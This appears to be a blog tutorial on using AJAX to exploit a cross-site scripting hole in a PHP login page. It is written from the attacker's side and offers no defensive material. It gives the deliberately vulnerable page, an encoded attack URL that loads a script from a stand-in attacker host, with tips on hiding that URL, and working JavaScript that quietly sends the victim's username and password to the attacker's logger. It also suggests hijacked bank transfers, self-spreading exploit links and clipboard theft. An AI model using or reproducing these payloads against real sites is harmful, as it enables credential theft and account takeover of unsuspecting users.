The Dark Side of AJAX
Hello guys,
Today we are going to talk about a very interesting topic. As we are all now are accustomed with ajax and it’s new programming techniques I want you to imagine this, imagine if the ajax techniques have been combined with the common old hacking techniques, what are we going to get?
For example we have talked before about XSS vulnerabilities and how they work so imagine this that if we used ajax to exploit an XSS vulnerability that does exist in some web application, what can we get?
Say we have a web application that is vulnerable to XSS in its login page that looks like this
<html>
<body>
<form method="post" action="login.php">
User:<input type="text" name="user"><br>
Pass:<input type="password" name="pass"><br>
<input type="Submit" value="login">
</form>
</body>
</html>
<?
//some code to do the authentication then sets our $authenticated flag
if(!$authenticated)
die("Sorry the user $user doesn't exist in our database or the password is not correct");
//rest of code
?>
As we can see here we have an obvious XSS vulnerability here in the die() function where it prints out the user name directly without any filtration before outputting it to the user. So we can simply attack the users of this page by sending this url
http://host/login.php?user=<script%20src=http://attackerhost/attackscript.js></script>
Where attackscript.js is a script on the attacker host that will contain his really big attack script that is using ajax techniques. I’ve ignored using quotations deliberately to bypass the magic quotes protection from XSS that PHP have.
Also to make harder to detect by experienced users we can encode this url so it can look like this
http://host/login.php?user=%3Cscript%20src%3Dhttp%3A//attackerhost/attackscript.js%3E%3C/script%3E
You can use this java script to encode yours
<html>
<body>
<input id="in" type="text">
<input id="out" type="text">
<input type="submit" value="encode" onclick="encode()">
</body>
</html>
<script>
function encode()
{
document.getElementById("out").value = escape(document.getElementById("in").value)
}
</script>
So now let’s move to the ajax part, I’ve already managed to load my big java script file into the browser of my victim so what’s next? Why use ajax?
Well, this is a good question indeed, as one of the most famous features of ajax that it runs asynchronously which means from the hacker aspect being undetectable by the user, the second most famous feature is that ajax can make server side calls with the XMLHttpRequest object and this means from the hacker aspect the ability to do actions like logging the user sensitive data without the user being aware of it or submitting server side requests on behalf of the user while using the user credentials and in the same time without any intrusion detection tool (like a firewall for example) can stop him/here as the attacker can send these data tunneled in HTTP requests on a port that is already opened by the user and with an application that is approved by the user to run and connect to the internet which is this case is the user web browser.
So say that we used this code in our attack script
//this is function which will be called when the user clicks the login button
document.getElementsByTagName("input")[2].onclick = function logdata()
{
//here we create our XMLHttpRequest object
xmlHttp=GetXmlHttpObject()
//and here we create our request string to the attacker host logger script
//sending it the user name and password of the attacked victim
var url="http://attackerhost/logger.php?user=" + document.getElementsByName("user")[0].value + "&pass=" + document.getElementsByName("pass")[0].value
xmlHttp.open("GET",url,true)
xmlHttp.send(null)
}
//the rest of this code is the code that is responsible of creating
//the XMLHttpRequest object for different browsers
function GetXmlHttpObject()
{
var xmlHttp=null;
try
{
// Firefox, Opera 8.0+, Safari
xmlHttp=new XMLHttpRequest();
}
catch (e)
{
// Internet Explorer
try
{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e)
{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
}
return xmlHttp;
}
So now when ever a user clicks the login button the ajax method logdata() will be invoked to send the user name and password to the attacker logging script then redirect the user normally to the next page without any suspicious actions that can alarm the user and force him/her to change his/her password immediately.
Other things can be also done in other scenarios for example if the XSS vulnerability does exist in any other page where the user can access only when s/he is authenticated then an attacker can change the request url in his/here attack script to request any other authenticated page and submit any action with the credentials of the victim user say for example to make a bank transaction to the attacker account or send by mail the exploit url to all of the victim user contact list on that web application. Also the attacker can read the clipboard of the victim user while the user is still having the vulnerable page open and then send the clipboard content to his/her logger script every 5 seconds for example (that only can happen if the browser doesn’t warn the user about this page is trying to access his clipboard).
I hope you liked this article and I would appreciate any feedback or comments, if you have any question you can submit it here in a comment and I will answer it later once I’ve time
Thanks for reading